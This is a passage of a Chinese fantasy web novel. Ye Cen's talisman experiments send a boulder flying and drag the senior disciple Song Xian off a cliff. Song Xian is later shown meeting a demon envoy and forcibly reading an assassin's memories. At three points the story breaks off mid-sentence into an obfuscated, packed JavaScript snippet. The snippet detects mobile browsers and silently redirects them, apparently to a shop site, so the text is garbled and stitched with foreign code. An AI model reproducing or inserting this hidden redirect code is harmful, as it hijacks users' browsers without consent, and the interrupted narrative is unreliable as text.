叶岑:“……神经病啊!” 叶岑深吸一口气,继续往下翻。 “符箓阵法难习,不具天分者,十年难入其门。但因本人是个天才,找到一些可快捷入门之法,供有缘后来者参考。” 叶岑:“。” 然后才终于进入了正题。 “天覆地载,阴阳四时,万物悉备,莫贵于人。” 有点像那么回事了。 继续往下看。 “天行有常,大道无常。可道非道,可名非名,至阴为阳,至阳为阴。符箓之大成,在于无形。旁门左道,方为我道。” 简而言之,在这位前辈的眼中,修符就要抛下节操,没有底线,为所欲为。 妙啊。 叶岑顿时有了灵感。 寻常符箓即便有用,若是不能注入灵力,效果总是差了一些。 而聚灵符聚灵,她是兜不住灵气,可若将聚来的灵气直接作用到神行符上呢? 说干就干,叶岑画了几张聚灵符,直接贴到巨石周边贴着的神行符上,然后紧张地盯着巨石。 一息,两息……五息过去了,巨石却毫无动静。 果然异想天开就是,想起来简单,做起来还是有难度的。 叶岑叹了一口气,捻着纸张继续往后翻。 后面的内容就复杂多了,大意是说,比符箓更高一级的是阵法,阵法和符箓在许多方面是相同的,符箓可以改,阵法也可以改,而且因为阵法足够大,改动的空间也就比符箓要大得多。 书上还在旁边画了个简单的传送阵作为例子,传送阵跨越的是空间,能将不相通的空间撕开一道口子,起到传送效果。添上细小的一笔,功效便变了,成了凝固空间。 叶岑尚且想不明白“凝固空间”是怎么个凝固法,下一张图阵法又被改了一笔,这次是反向传送,从另一个空间捞东西。 这让叶岑很感兴趣,但是她没有那么大的黄纸,也没带那么多朱砂,就捡了根树枝在地上写写画画。 添上的那一笔刚合上,却忽然听到耳边“嘭”的一声巨响,竟是那巨石拔地而起,带着她放在上头的芥子囊、朱砂、黄纸,还有两本书,直直地向上飞去。 叶岑:“?” 4. 第 4 章 叶岑抬起头时,只能看到一个巨石离她远去的影子,划过天边,成了一道耀眼的白昼流星。 但是叶岑抬头的时机不巧。 石头向上飞,也不知砸到什么,方方正正的,好似是一本书,落下来正好砸在她的鼻梁上。 鼻梁一痛,叶岑只觉得鼻腔中一阵温热,就有什么黏糊的液体顺着她的人中留下来了。 叶岑下意识捂住鼻子,脑海中却一片清明。 她悟了。 神行符一息之间神行千里,一道神行符指向一个方向,但是叶岑头几日练习时,画的那几张废符都被贴在巨石上,规规矩矩,整整齐齐,贴了一整圈。 原来那些并不是废符,而是灵气不够。 如今让聚灵符一聚灵,灵力激荡之下,下又不能遁地,只好拔地而起,一飞冲天了。 ——但是琅嬛楼的书,逾期不归还的话,是要以十倍的价格赔偿的呀! 呜呼!她哪来的钱?她从白家带出来的大半家当,都已经拿来买朱砂和黄纸了! 况且这小涯峰虽然来人少,但也算公共场所,石头飞了要不要陪?石头往上撞,将大树薅了一半要不要陪? 而且她没看错的话,刚刚那大树上,好像有什么白白的东西飞出去了吧? 那是什么东西啊?! 寻常的树上还能长白白的东西吗? 不会是棵仙树吧? 那岂不是更贵吗? 笑死,根本赔不起。 几乎一瞬间,一个念头就在她脑海中产生了。 小涯峰人迹罕至,只要她悄悄离开这里,就没有人会知道…… 叶岑脑袋都不敢动,只敢转转眼珠子鬼鬼祟祟打量周围。 此刻一个人都没有,正是逃跑的好时候。 叶岑后退一步,转身就—— 没来得及跑出一步,就差点撞上一个胸膛。 是的,差点。 因为有一人伸出一根手指,点住了她的额心。 鼻腔中还未凝固的鼻血,开始缓缓流淌。 指尖微凉的触感从额心传来,叶岑愣了愣,后退两步,瞧清楚眼前这个人。 身形有些眼熟。 但是剑眉星目,五官生得很是舒朗。 ——这样好看的样貌,若是叶岑从前见过的话,一定不会是毫无印象的。 不过叶岑认得这人身上穿的衣服。 寻常青云门的弟子,一身白校服纤尘不染,而眼前这人的白衣上滚了些金边,金丝绘成的是祥云的图案。 这是亲传弟子的校服。 那亲传弟子身形颀长,她的头顶才到对方的下巴,因此他居高临下地看着她,半晌后缓缓蹙起眉,向她伸出手。 叶岑脑中“轰”的一声,后知后觉地反应过来。 坏了,这是目击者。 目击者的手停在她的脸颊边,掐起脸上的肉,捏了一把。 叶岑:“?” 那人眉头还皱着,啧了一声:“白的?” 叶岑:“???” 叶岑没能明白他说的话。 她也没时间弄明白,因为她听到了啸啸的风声。 但是小涯峰哪里会刮这样大的风?况且这风声,仿佛还是从头顶上传来的。 叶岑满面疑惑,那亲传弟子显然也听到了,两人一起抬头往上看。 须臾,叶岑:!!! 亲传弟子:!!! 那哪是风声?那是先前受了神行符和聚灵符激荡的巨石块,大抵是神行符失了效,此刻正在做自由落体运动啊! 理智告诉叶岑,要马上离开这危险的地方,不然让这石头砸中了,那简直不死也残。 可越是到了这样的危险关头,她的双腿却好似被灌了铅,怎么也动不了了。 叶岑只好求助地去看那亲传弟子。 那亲传弟子也正看着她,两人视线交汇,叶岑心中蓦然升腾起了希望。 大家都是同门,或许—— 这位同门果真有了动作。 只见他一双眼盯着叶岑,然后干脆利落地后退了几步。 叶岑:“。” 这退两步的动作如此熟悉,一瞬间,她明白为什么自己会觉得这身形熟悉了。 那是她刚上青云山、因为妄议天道遭了雷劈,最后体力不支就要倒下的时候,那个从天而降帮了她忙的白衣剑仙,也是这么冷酷无情地向后退了两步。 亲传弟子的白色校服上都滚了金边,但是不同阁子出来的弟子金线绘成的图案是不一样的。 金丝滚边,云在尘上,这人是尘中阁唯一亲传弟子、青云门首徒,宋显,宋隐之。 叶岑只觉得周遭都安静了。 她甚至能听到鼻血低落在地的声音,“啪嗒”一声响,清晰又清脆。 眼见着巨石就要砸下来,叶岑下意识地一缩脖子一伸手,眼睛先闭上了。 然而等了许久,那巨石却不曾砸落下来。 叶岑睁开眼,惊诧地发现,那巨石近在咫尺,但不知被什么力量托住了似的,下落的速度慢得肉眼都不可见,过了许久,才堪堪触到她的指尖。 是她先前画下的凝固阵法,滴上血之后,竟让阵法生了效,将她周身的空间都凝固了! 这时候如果还不跑,那就是个傻子。 叶岑飞快地从巨石底下钻出来。 出来时脚尖不小心往阵法边一扫,破坏了阵法,那托着巨石的力量忽然便消失了,巨石干脆地落地,发出一声巨响,差点压住了叶岑的裙角。 虽然过程惊险,好歹是石下逃生,叶岑长出了一口气。 这时候想起见死不救的宋显,虽然也知道他并无救自己的义务,还是难免有些怨气,不由得拧起眉看向他。 宋显还好整以暇地站在一边,瞧着她的目光中满是探寻,察觉到她的视线,才慢吞吞地将这探寻的眼光收回去,似笑非笑地评价道:“旁门左道。” 叶岑怨气还没散,想也不想地反唇相讥:“就是这旁门左道,关键时候救了我的性命。” 她斜睨着宋显,意有所指:“倒是有些所谓正道人士,却在一边冷眼旁观,不出手相救呢。” 青云门的首徒受人奉承惯了,头一次被人噎了一口,有些意外,反倒是笑了:“谁说我是……” 话说了一半,却忽然止住了。 叶岑瞧着宋显的神色忽然变得有些古怪,盯住她头顶的上方。 那上头有一张明黄色的符纸,正慢悠悠飘落下来,眼见着就要落到叶岑的头顶上。 她却全然察觉不到:“怎么了嘛?” 下意识地也想抬头去看,身子侧了侧,于是那原本要落到她头上的黄色纸片,便沾到了她的后背上。 叶岑还没来得及抬头,先感到背后有一阵推力。 这推力不算大,叶岑的脚步都没挪动一下,但是仅一瞬间,她就明白这是什么了。 ——这熟悉的感觉,这不就是她画的、贴在巨石上的神行符吗? 寻常的神行符,往身上一沾,能让人日行千里。但是叶岑画的神行符,由于 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16808941|190790||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她本人灵力不够,别说日行千里,日行一步都是问题。 这不,轻飘飘的神行符落到背上,根本推不动她。 神行符中灵气不足,若没有聚灵符的加持,便如同一张废符。但是—— 叶岑看着眼前不远处的宋显,他古怪的神色还没收起来,视线依旧在她的头顶,一看就还在盯着什么东西。 随着宋显的视线缓缓下移,叶岑忽然有了不好的预感。 不、不能够吧? 一张神行符沾到她身上已经是巧合了,总不能掉下来的那张刚好会是聚灵符吧? 况且,即便宋显盯着的是张聚灵符,那张聚灵符还要恰好沾在神行符上,世界上哪里会有这么巧的事? 下一瞬,叶岑神色大变。 世界上就是有这么巧的事。 还有更巧的事—— 聚灵符源源不断地汲取来小涯峰上的灵气作用在神行符上,神行符又作用在叶岑身上,叶岑根本控制不了自己,身不由己地往前冲。 更妙的是,宋显就站在她的正前方! 其实原本,若非宋显神情古怪地盯着她头顶上方看,她也不至于转过身去,那么即便被这神行符驱动,也不会那么准确地冲向宋显。 可谁承想! 这或许就是,不助人者,天亦不助之。 宋显显然也想到了这一点。 他的神色变了变,右脚往后挪了挪,但已经迟了。 神行符日行千里,其效用不仅在于距离,更在于速度。 眨眼间,叶岑非但已经掠到了他的跟前,还一把捞住了他的腰。 而在他们的身后,便是一个小悬崖。 好一个同归于尽。 叶岑一边往下坠,一边还有些恍惚。 理智告诉她,宋显是不可以招惹的。 那天她上青云山,曾见过宋显出招。那时她虽然被雷劈得眼前一片白,但就凭那风声,就能知道,他出招干脆飒然,根本没有一个多余的剑招。 这些日子,她也听不少同门议论过宋显。说尘中阁的大师兄光风霁月、纤尘不染,他是水中月,他是天上星,他高冷贵气、渊渟岳峙,是青云门中只可远观而不可亵玩的,最纯洁的一朵白莲花,总结一下,就是七个字——芝兰玉树宋隐之。 宋显是不是一朵白莲花她不知道,但她知道,参加门内大比的弟子,有不少都是为了宋显而想去尘中阁的。 叶岑也想去尘中阁,却不是为了宋显,而只是因为—— 进尘中阁的难度最大。 她叶岑,最喜爱的就是挑战不可能。 可在没做好完全的准备之前,她当然不会到处嚷嚷,让自己成为众矢之的。 但是此刻,她不但招惹了宋显—— 她后知后觉地明白过来,那树上飞出去的白色影子是什么了。 那分明是躺在树杈上睡觉,却被那块巨石撞飞出去的宋显师兄吧! ——她还带着宋显一起跳了崖! 宋显的腰还被叶岑扣着,他板着一张脸,冷声道:“放开。” 不放就死定了。 但是放开……这么高的悬崖,好像也不见得活得下去! 叶岑摇摇头,这回将脚都缠到了宋显身上,索性将眼一闭,心一横,道:“不放。” 可见人处在险境当中时,总能爆发出无限勇气。 叶岑只觉得周遭一片万籁,什么声音都听不见了。 许久,头顶才再次传来宋显的声音,似乎咬牙切齿:“好,你、很、好。” 5. 第 5 章 很后来叶岑想,如果上天愿意再给她一次机会的话,她一定会选择放手。 然而,在她还没领悟出“你很好”三个字里面所蕴含的意思的时候,宋显伸出右臂,就着她的姿势,也伸手箍住了她的腰。 叶岑:“?” 这样虽然很给人安全感,但也让她看起来像一只被夹在腋下的小乳猪。 那就是噩梦的开始。 叶岑不太知道宋显是如何在虚空中借力的。 她只觉得,接下来是一阵无穷尽的天旋地转。 宋显似乎是先攀上了山壁的藤条,下滑着缓冲了一段时间,又落到一块斜突出来的山石上,然后是浮在空中的藤叶、树顶、树杈…… 小涯峰的崖底是一个寒潭,但借着这么一重重的缓冲,他们从那么高的山崖上掉下来,入水时竟不觉得有多少疼! 后来,叶岑是被宋显提着后衣领丢到岸上的。 她还在空中就几经辗转、颠来倒去,又猝不及防入了水,哪怕在宋显的保护之下,万幸一点伤都没有受,脚刚沾到地面的时候,还是腿软得站不住。 那边宋显却不愧是一朵贵气白莲。 他们亲传弟子的校服好似防水,又或者他上了岸就用法术将衣服里的水都催干了,除了被叶岑抱过的腰部有些皱巴,完全挑不出毛病。 宋显甫一上岸,先撤回提着叶岑后衣领的手,然后慢条斯理地理了理衣服,如同一只优雅的白孔雀。 然后他垂眸去看叶岑。 这弟子大概是惊魂甫定,还惨白着一张脸,瞧着怪可怜。 “吓到了?”宋显冷哼一声,摆出大师兄的架势来,“吓到了才会长记性。” 叶岑眉头紧锁,也不知在忍耐着什么,脚下一软,软绵绵地倒在地上。 宋显不吃这一套:“装可怜也没有用。” 叶岑垂下头去,仿佛羞愧得无地自容。 宋显上前一步,冷眼睥睨着她:“可知错——” 叶岑:“哕——” 叶岑不知该怎么跟宋显解释。 对于宋显的管教,她没有任何不服。 只是对于这种极端的飞行方式,她有些水土不服。 但是她也不需要解释了,因为自从她吐了之后,宋显已经冷着一张脸,到一边独自观察地形去了。 叶岑:“。” 不知过了多久,叶岑觉得自己总算是缓过来了。 她揉了揉已经麻了的双腿,想了想,还是决定向宋显道个歉。 没办法,她不会御剑,这山崖又高,光靠她自己,肯定是不容易出去的。 叶岑爬起来,走到宋显身后,斟酌着开口:“宋、宋师兄……” 宋显:“闭嘴。” 叶岑:“……” 叶岑觉得有些委屈,她是当着宋显的面吐了,但好歹只是拂了他的面子,又没有吐在他的身上。 宋显不接受她的道歉,她却不得不讲自己的诉求。 叶岑嗫嚅着道:“我……不会御剑。” 从前是不得其法门,但是有了今日的经历,她也想明白了,即便知道了御剑的法诀,她恐怕也御不了剑。 因为她可能——晕剑。 谁知宋显听了这话,倒转过身来看她了。 他似笑非笑道:“巧了,小涯峰悬崖下磁场特殊,即便懂得御剑,恐怕也飞不出去。” “啊?”叶岑傻眼了,“这是为何?” 宋显:“。” 宋显:“因为磁场特殊。” 叶岑:“……” 不知为什么,她忽然觉得,宋显说这几个字的声音中,充满了鄙夷。 鄙夷完她的宋显又扭头去看前方,他方才就在对着那里仔细观察。 叶岑也跟着他的视线一起去研究,发现那就是一块山壁,上面覆着一层厚厚的藤条,没什么稀奇。 叶岑明白了——宋显或许并没有在观察什么,他只是不想和自己说话。 小涯峰就足够清静,小涯峰底更是人迹罕至,寒潭周围都没什么生灵,他们俩都不说话,四周一下子安静下来。 叶岑这时才后知后觉地感到有点冷。 她的校服是不防水的,她又不会什么暖身子的法术,这会儿湿衣服全贴在了身上。 她好冷,但是瞧着宋显皱着眉一脸凝重地盯着那面石壁发呆,又不敢说话。 刚巧不知哪里起了一阵冷风,叶岑不由得打了个哆嗦。 宋显马上就注意到了,视线悠悠地眄了过来。 叶岑顿时有些心虚,不好意思地缩了缩脖子。 宋显道:“将手伸出来。” 叶岑:“?” 宋显没什么耐心,眉心跳了跳,自己伸手来抓她的手,握住了她的手指。 少顷,叶岑感到有温暖从那只手传来。 先是手指,然后是掌心,接着是小臂、肩膀,直至传遍全身。 片刻之后,她非但觉得不冷了,身上的衣服也干了,轻飘飘挂在她身上,好似没什么重量。 叶岑恍然明白过来,宋显这是在用法术催干她的衣服。 宋显捏着她的手指尖,还是冷着一张脸,但在叶岑眼中,他已经变得慈眉善目起来。 她不由得想,怪不得人人说大师兄芝兰玉树,是青云门脾气第一好! 宋显则飞快地撤回手,还要冷着脸解释:“我是正道人士,总不好见死不救。” 语气里充满阴阳怪气。 叶岑:“……” 青云门脾气第一好但是心眼也第一小的大师兄。 宋显小心眼而不自知,斜睨着叶岑,忽然向她伸出手去。 叶岑防备地后退一步:“做什么?” 宋显绕到叶岑身后,从她背上取下一样东西。 叶岑定睛一看,正是害得他们经历了坠崖、入水,此刻已经失效,却还牢牢地沾在她身上的神行符。 宋显凉凉道:“可见旁门左道,多数时候,还是害人性命。” 叶岑:…… 叶岑自知理亏,但还是忍不住为自己辩解:“旁门左道怎么了,在小涯峰顶的时候,若非那些旁门左道,我就要被——” ——就要被那方巨石给砸死了。 但是她话说了一半忽然停住了,因为她瞧见,宋显捏着神行符的那只左手,指尖上还沾着些未干的血迹。 她愣了愣,抓住宋显的手在眼前摊开。 满手心的划痕,一看就是方才坠崖时,抓住那些藤条被划出来的伤痕,因为伤得不久,有些地方血迹已经凝固,有些地方还渗着血。 叶岑不说话了。 她沉默地瞧着宋显的手掌心,也不知在想些什么,无意识地用了点劲,轻轻捏了捏宋显的拇指关节。 宋显让她看得有些不好意思,试着收回自己的手,未果。 他轻咳了两声,不自在道:“都是皮外伤,根本不……” 话说一半,叶岑抬起头来,打断他道:“我有法子离开这了!” 眼里竟是半分担心与愧疚都无。 宋显:“?” 叶岑一双眼亮晶晶,仿佛饿久了乍然看到羊羔的豺狼,偏偏脸上还要挤出几分不好意思的神情:“但是我需要借宋师兄的血一用。” 明明声音里半点不好意思也无! 宋显:“???” 在《五年鬼画符,十年成神母》这本书里,叶岑第一个学会的阵法,便是凝固空间。 她原本也没抱多少希望的—— ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16808942|190790||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 拿一根树枝在地上划来划去,就能轻易画成一个阵法,这岂非异想天开吗? 可她流下的鼻血竟真让阵法生了效! 再仔细想想,凝固空间的阵法在被改造之前,不正是一个小小的传送阵吗? 叶岑说干就干,捡了根枯枝,依着记忆在地上画了起来。 画完之后,轮到宋显上场。 他一点不怜惜自己,似乎生怕血不够,捏紧了拳头,把原本已经结了痂的伤口都崩开了,挤了些血到传送阵上。 实在有些慷慨。 叶岑忙说:“够了,够了!” 宋显却似听不见,拳头又捏紧几分,还从鼻子里哼出一口气来。 叶岑有些茫然地想:谁又招惹他了? 正欲开口,却见那些被挤到阵法上的血液如同长了眼睛的小蛇,自动顺着阵法的纹路爬过去,然后那些纹路边发出荧荧的蓝光——传送阵,奏效了。 片刻之后,小涯峰顶也亮起荧荧蓝光。 蓝光散去,叶岑出现在了小涯峰顶。 她觉得自己真是个天才,不论是传送阵还是空间凝固阵,都只画了一次,就一举取得成功。 天才叶岑的身后还站了个宋显。 他好像还是不太高兴,张了张嘴,又闭上了。 叶岑注意到他的欲言又止:“怎么了?” “既然都用了传送阵,”宋显打量四周的环境,“为什么还要回这里?” 从小涯峰回到星垣阁主峰,明明很不方便。 下一瞬,叶岑用行动告诉了他为什么。 她飞速地向前奔去,一边捡散落在地上的书和芥子囊,一边嘴里碎碎念:“不用十倍赔偿了!不用十倍赔偿了!” 宋显:“。” 他为什么要站在叶岑的角度考虑事情,却又用常理来推断她的行为?此人根本就是脑子有问题。 宋显觉得,再和叶岑一起待下去,他自己的脑子也要出问题了。 宋显望了望一边高耸入云的尘中阁,决定先离开。 那边叶岑却根本没注意到这边的动静,她还沉浸在不用赔钱的快乐中,等她将散落一地的符箓朱砂黄纸都收进芥子囊中,又捡回几本书的时候,才发现宋显早已不知去哪了。 无所谓,重要的是书都回来了。 叶岑失而复得,宝贝似的将书在眼前排开来。 《大殷符术概论》《十全画符录》《五年鬼画符,十年成神母》…… 叶岑一愣,发现捡回来的书多了一本。 叶岑盯着多出来的那本书,上头七歪八扭写着几个大字—— 《大殷异兽百科全书》 小涯峰上今天可以说已经到了热闹的巅峰,不可能再有第三个人。 叶岑小脑瓜子转了几转,恍然。 难怪宋显先前躲在树上,原来是找个清净地方看书。 但是——她看着百科全书花花绿绿的封面——这封面,未免太过于充满童趣了! 她心中正做着斗争,手已经忍不住将书翻开了。 一边翻,她只好一边在心中宽慰自己:“反正都是从琅嬛楼借来的书,大师兄看得,我有什么看不得呢?” 有一页纸张折着角,叶岑翻到那一页,忽然蚌住了。 只见那书页上,画着个风姿绰约的美人,一双腿又细又长,纤腰束素盈盈不堪一握,胸前一对雪白若隐若现,头顶生着一双狐狸耳朵,身后还探出八条蓬松的尾巴。 是一只体态妖娆的八尾狐。 叶岑瞳孔地震了。 她猛然抬起头,望着高耸入云的尘中阁,久久不能回神—— 没想到大师兄竟然好这一口! 这,就是传闻中的芝兰玉树宋隐之吗? 6. 第 6 章 斜阳西坠,月上树梢。 小涯峰上静得连虫鸣都听不见了的时候,一道白色的身影悄然无声地落到了地上。 是宋显。 ——原本他来到小涯峰,就不只是为了寻个清净地看书的,他是在等人。 只不过等得累了,找了个树杈歇歇脚。谁知道,刚刚躺上去没多久,就来了个神神叨叨的同门,用符咒驱使石头砸他的脸。 宋显反应快,倒是没被石头砸到,但是飞身躲避的时候,让树枝刮到了。 好在刮的位置隐秘,在下巴上,不仔细看并看不出来。 宋显摸摸下巴被刮到的地方,按一按还觉得有些痛。 这样他等的人还迟迟不来,心情就不是很美妙。 小涯峰上望出去,首先瞧见的就是被废弃的第八座山峰。 青峰高耸,一半隐在云层中,根本瞧不见山顶。 宋显对着那座山峰发了一会儿呆,少顷,云层厚起来,盖住了月亮。 小涯峰上终于有了一些动静。 悬崖边上爬上来一个人。 准确地说,也不能叫人。 来人头上长了一对长角,一双眼全是黑色的瞳仁,半点眼白也无。 若是叶岑见到了,恐怕会尊称其一声“牛魔王”。 宋显挑挑眉,脑子里冒出一个名字,庾柘。 那边时常要派人过来提点他,庾柘就是其中之一。 庾柘两手一撑悬崖边,跃上小涯峰,几步走上前,到了宋显的跟前,双膝跪下,头埋得低低的,向他行礼:“小主人。” 庾柘不禁有些茫然,一抬头才发现,眼前哪里还有什么小主人,宋显早已绕过了他,走到了悬崖边,背着手临崖而立。 小涯峰上这时无风,但是宋显高且瘦,身形颀长,瞧着很是倜傥。 他不是很能明白小主人的态度,只好又喊一声:“小主人。” 宋显仿佛这时才听到他说的话,回过身去看他,道:“这次要教我什么?” 他居高临下地看他,脸上的神情也说不出包含着什么样的情绪,但莫名有了几分上位者的威仪。 庾柘不由得感到心虚。 小主人天分好,进步快,时至今日,他早已没什么东西能够教他了。 由他来见小主人的次数不算多,实际上,从一年前开始,他在为小主人授课的时候,就隐隐有察觉,他一边学,一边脸上总是挂着些似有若无的讽笑。 但他这次是带着任务来的,逢魔之门开在青云门内已经是十分冒险的行为,时间紧急,他必须将上头的意思传达到位,只好将头垂得更低:“今日却不是来授课的,而是尊上有事嘱托。” 他话音落下,宋显先轻笑一声:“魔域如今也有人能被称一声‘尊上’了啊。” 庾柘不敢回答,只是硬着头皮继续往下说:“再有几个月就是青云门的门内大比,我族长老戚滟困守浮屠塔多年,这次门内大比,正是我们救人的好时候,届时,兴许需要小主人……” 这话说出来实在心虚,因为倘若真要救人,他们都能将逢魔之门开进青云山中,自然也能有接应的帮手。但偏要提出让小主人助力,庾柘觉得,这或许更是一种试探。毕竟这么些年,小主人一直养在外头,教他什么一概学了,内心究竟作何想,却并不明朗。 试探可真是个苦差事,庾柘埋着头,苦苦思索究竟如何说才能更不着痕迹一点。 宋显却很善解人意地替他说:“哦,需要我帮忙救人。” 庾柘松了一口气,喜道:“正是——” 宋显似笑非笑:“就是说,好处没有,但是要冒风险干活——风险还不小。” 庾柘的冷汗冒出来了。 但宋显已经不再说什么了,只是偏着头,眉头微微蹙起,好似在回忆戚滟是哪一个。 半晌,他的眉头舒展开,面上露出个古怪的笑容:“我知道了。” 庾柘一愣:“这……” 这是会帮还是不会帮啊? 但显然宋显已经不打算多说什么,他也不知想到了什么,肉眼可见地心情好了起来,对这庾柘的表情都更和善了几分,温润道:“还有什么事吗?” 庾柘:“……” 哪里还敢有什么事,他准备说些套话,宋显也很善解人意地替他说:“复兴我族,道阻且长。我不会忘记我惨死的爹娘,也不会忘记忍辱的祖父,会时刻卧薪尝胆的。” 他甚至叫上了“庾叔”,吓得庾柘差点折了寿,但宋显的笑容如此诚挚,无害得甚至有些晃眼了。 他诚恳地说:“庾叔,你就放心吧。” 庾柘顺着原路返回时,还觉得有些恍惚,直到爬到小涯峰底,叫风一吹,惊觉自己出了一身的冷汗。 小涯峰顶,宋显还久久地立在那里。 他的笑容还挂在脸上,眼底却一点笑意也无。 也不知过了多久,他瞧了眼对面的第八峰,却是转了个身,从相反的方向,顺着小涯峰的山路走下去了。 片刻之后,宋显来到牢狱之中—— 青云门有两处牢狱,一处叫做浮屠塔,平常由二长老裴无衣守着,但是里头关的不是大妖就是魔族,或是一些凶猛的妖兽。另一处则常用来关押一些修士。 宋显来见的,正是叶岑上山那日留下的唯一一个活口。 他是个散修,修为并不算高,但大抵是常做杀手讨生活,身手却很不错。 人原本是被丢给秦言审问的,同宋显没什么关系。 但他今日心情不好,就想找人撒撒气。 秦言在青云门中是出了名的好脾气,当然使不出什么毒辣手段,眼下这杀手虽在牢中关着,人却是全须全尾的,甚至笃定了青云门这样的名门正派不会对自己动用什么重刑,都有些自得起来。 宋显走到他跟前时,他只抬了一下眼皮,冷笑:“你就是杀了我,我也绝不会说出一个字。” 宋显讶然:“谁要你说了?” 杀手一愣。 宋显又道:“我也没想杀你。” 杀手仰头直视宋显,后者脸上的无辜还没来得及褪下去,可是他忽然感到慌张了,心脏“砰砰”地跳起来。 直觉告诉他,他应该马上松口,说出真相。 但是宋显没给他机会。 杀手听到,宋显似乎是轻笑了一声,然后一只手轻轻放在了他的头顶。 宋显穿了一身白,但杀手只觉得眼前是一片黑。 那人俯下身来,在他耳边轻声道:“我自己来看。” 搜魂术。 一瞬间,杀手只觉得,好像有千万根细长的钢针,从他的天灵盖扎下来,像游龙一般爬过他的全身。 他几乎本能地就想把身体蜷起来,可是偏偏被宋显控制着,浑身都动不了,只好僵着身子强行忍受这疼痛。 而宋显一闭上眼,就看到了杀手当时的记忆。 那大概是在一间小屋子里,外头的天已经黑了,屋子里只燃着一根蜡烛,还是快要烧完了的,因此瞧着有些黑暗。 杀手与其他几个人在屋子里等候,都穿着一身黑衣。 他们 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16808943|190790||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 专门干的就是这种营生,收钱办事,钱给得够多,难度高的活也接。刀口舔血,亡命之徒。 这次要来的人,据说是个大主顾。 大概过了半个时辰,有叩门声响起。 门打开,进来个人,穿一身白衣,还戴了个帷帽,上头缀着白纱,让人瞧不出样貌,但是瞧着身形,应当是个女子。 这女子出手十分大方,提的要求却很怪异。她说:“半月之后,若是白府后门扬起白幡,请你们来——杀了我。” 这是个稀奇要求,黑衣人们面面相觑,但并没有说话。 因为这女子放下一个沉甸甸的荷包,道:“这是定金。事成之后,还有酬劳,百倍于此。” 顿了顿,又补充:“你们杀了我之后,会知道酬劳在何处。” 这样丰厚的酬劳,他们没道理拒绝。 宋显再次睁开眼的时候,杀手已经说不出话了。 没了宋显的禁锢,他无力地倒在地上,嘴角、鼻子都流着血,一双眼半睁着,里头盛满了不敢置信—— 用搜魂术折磨人,这根本不是一个正道人士会用的手段! 早知道这个正道比妖魔还要残忍,他根本就不会嘴硬了! 本来就是拿钱办事,他又能知道雇主多少秘密呢?他只不过是想维持一个杀手最基本的素养和尊严而已! 归根结底,还是秦言这些天的温柔和礼貌让他飘了。 杀手悔不当初,此刻半死不活地趴在地上,只希望能撇清一点是一点。 他气若游丝道:“白家那些人……不是我们杀的。” 宋显睥睨着他,嘴角照旧挂着似有若无的笑。 他当然知道,因为方才,在杀手的记忆里,他已经看到了。 那些人赶到白家的时候,白家的人就死得差不多了。 他们翻进白家,就见到天上一轮圆月,白家的院子里一地的尸体,而白家唯一的活口白涟漪,就站在那一地的尸体中,仰头看着月亮,也不知在想些什么,听到动静回过头来的时候,脸上还带着几丝茫然。 那画面实在是有些诡异,杀手们还愣了一下,反应过来要动手的时候,秦言就带人赶到了。 这时间点也太赶巧了,白家刚被人灭了门,秦言就赶到了,仿佛有人很早就知道会有这么个结果,提早通知了青云门似的。 青云门也不是说察觉不到这蹊跷,只是白家到底遭人灭了门,白涟漪孤女一个,总归是要接上山来的,也就没去深究。 可那人会是谁呢? 宋显想起来,那天在山路上头一次遇上白涟漪的场景。 当时他们正与杀手纠缠,她飞扑上去,看似是帮秦言挡刀,可实际上,伸手去拽那些杀手,一抓一个准,好似提前就知道那雷会逮着她劈似的。 不知道的,还以为那雷是她引来的呢。 宋显又想起方才在杀手记忆中看到的。 那女子离开木屋的时候,一开门有风吹来,白纱被掀开,露出个缝隙,露出下头俏生生一张脸,不正是白涟漪吗? 她要雇人杀她自己,这会儿,却又活蹦乱跳出现在了青云山上。 这可就有趣了。 杀手的身子禁不住搜魂术,方才只是嘴角和鼻子流血,到这会儿,眼角甚至耳朵都流出血来了。 宋显瞥他一眼,没再在此多做停留,抬脚往外走去。 刚走了几步,他的脚步又停住了,这次面上浮现出几分真心实意的懊恼—— 他这会儿才想起来,先前躺树上看得那本书,落在小涯峰了。 7. 第 7 章 三个月后,青云门终于迎来了七年一次的门内大比。 自从那日在小涯峰顶遇上了宋显之后,叶岑再没去过那里。 她觉得,她挖掘了宋显那么大的秘密,没事还是少去他眼前晃悠比较好——虽然实际上宋显也不见得会再去那里。 虽然大家都说宋师兄是全宗门最守规矩的翘楚,是所有人奋斗的榜样,是纤尘不染的谪仙子,可叶岑总觉得,那和她亲眼见到的宋显不太一样。 那本《大殷异兽百科全书》她也没敢去还,就压在枕头底下,偶尔闲暇时,还会拿出来看看,权当解解闷,顺便长长见识。 不过大多数时候,她还是很忙的。 